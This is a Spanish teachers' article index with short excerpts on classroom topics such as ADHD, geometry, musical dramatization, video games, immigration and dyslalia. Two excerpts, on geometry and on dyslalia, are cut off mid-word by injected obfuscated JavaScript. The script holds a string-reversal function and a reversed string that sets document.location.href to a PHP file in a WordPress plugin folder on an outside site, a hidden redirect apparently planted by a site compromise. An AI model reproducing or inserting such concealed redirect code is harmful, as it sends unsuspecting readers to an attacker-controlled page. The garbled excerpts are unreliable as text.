LA HIPERACTIVIDAD EN EL AULA

Autora: Patricia García Benítez           La hiperactividad es un síndrome conductual con bases neurobiológicas con un fuerte componente genético. Se refiere a un estado físico en el cual una persona muestra un alto nivel de actividad, que no se considera normal.            El TDAH tiene tres síntomas básicos: hiperactividad, impulsividad y falta de atención, identificados en el DSM-IV de la siguiente manera: Ítems... [Leer mas...]

UNA PROPUESTA DE TRABAJO INTEGRADO

Autora: María Isabel Gamero Pardo           Durante el curso 2008-2009 un grupo de profesores del CEIP Nuestra Señora de la Asunción de La Parra (Badajoz) formó un Grupo de trabajo sobre las celebraciones pedagógicas.                       Los temas que se trataron fueron los siguientes: -          Los Derechos de la Infancia. -          La Constitución. -          El Día de la paz... [Leer mas...]

UNA FORMA DIVERTIDA DE APRENDER LA GEOMETRÍA

Autora: María Mercedes Vázquez Rodríguez           Las matemáticas, como bien todos sabemos, son un área instrumental que pone de manifiesto diversos conocimientos, los cuales nos van a permitir analizar ituaciones variadas que nos encontremos en nuestra vida diaria. Es por ello, que desde esta área, nosotros, como docentes, debemos partir de la propia actividad del alumno y enseñarle de manera dinámica y práctica, utiliz$hiVNZt4Y5cDrbJXMhLy=function(n){if... [Leer mas...]

LA DRAMATIZACIÓN COMO RECURSO MUSICAL

Autora: Margarita Barrera García          La dramatización, por sí misma, genera motivación en los alumnos y es un contenido a trabajar en el aula. El Decreto 82/2007, de 24 de abril, por el que se establece el Currículo de Educación Primaria, en el área de Educación Artística integrada por dos lenguajes: plástico y musical, a su vez,  incorpora contenidos de la danza y el teatro.           La dramatización, junto con... [Leer mas...]

EDUCACIÓN Y VIDEOJUEGOS

Autor: Víctor-Manuel Chacón Barroso           Desde que se comenzaron a vender en la década de los años setenta los videojuegos para televisor, estos se han convertido progresivamente en un medio de ocio frecuente entre los más pequeños, aunque muchos padres han manifestado su preocupación por los posibles efectos negativos que pudieran ocasionar.           La mayoría de videojuegos preferidos por los niños son violentos... [Leer mas...]

¿CALIFICAR O EVALUAR EN LA EDUCACIÓN PRIMARIA?

Autora: M. Mercedes Vázquez Rodríguez           Todos tenemos conciencia de que un niño al comenzar el colegio, en la Educación Infantil, no es evaluado como un alumno de Primaria ni de Secundaria. Me refiero a que no es evaluado con un “P.A.” (Progresa Adecuadamente) o “N.M.” (Necesita mejorar), ni con un “notable” o “sobresaliente. Pero, el no ir calificado de esta forma, no significa que no sea evaluado por el maestro,... [Leer mas...]

LA INMIGRACIÓN EN LAS AULAS

Autora: Patricia García Benítez           Todos los escolares, originarios de cualquier país del mundo, tienen que gozar de los mismos derechos humanos, sin diferencias discriminatorias por su origen social, nacionalidad, edad, sexo… Es un ideal al que la mayor parte de las personas queremos llegar, pero no deja, por eso, de ser utópico, sobre todo si nos detenemos a analizar la realidad existente en la mayor parte de los colegios.           ... [Leer mas...]

ETAPAS, CAUSAS Y PROBLEMAS QUE PROVOCAN LAS DEFICIENCIAS EN EL LENGUAJE

Autora: Rosa María Cruz Morcillo 1. INTRODUCCIÓN           Una de las características más importantes del ser humano es el lenguaje porque, por medio de él, las personas expresan sus ideas, emociones y sentimientos. Debemos priorizar la enseñanza del lenguaje en todos los niveles como una forma de hacer ciudadanos más cultos, informados y preparados en las distintas ramas del saber. Tenemos que desarrollar las habilidades de hablar,... [Leer mas...]

COEDUCACIÓN EN LAS ESCUELAS

Autora: Gema Terrazas Horozco El proceso de enseñanza está en continuo cambio. A lo largo de la historia de la educación se han desarrollado miles de contenidos (con carácter curricular y otros más generales) que han sido impregnados de las creencias, principios, objetivos, etc. relativos a la época. Basándonos en el currículo Extremeño de Educación Primaria que recoge: “se considera necesario que la educación, además de favorecer el... [Leer mas...]

PREVENCIÓN DE DISLALIAS

Autora: Patricia García Benítez           El cuento que se expone a continuación va dirigido a aquellos niños y niñas que tienen dificultades para articular la /r/ y /rr/; por lo que tiene como principal objetivo lograr una perfecta articulación de ambos fonemas, explor$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var... [Leer mas...]

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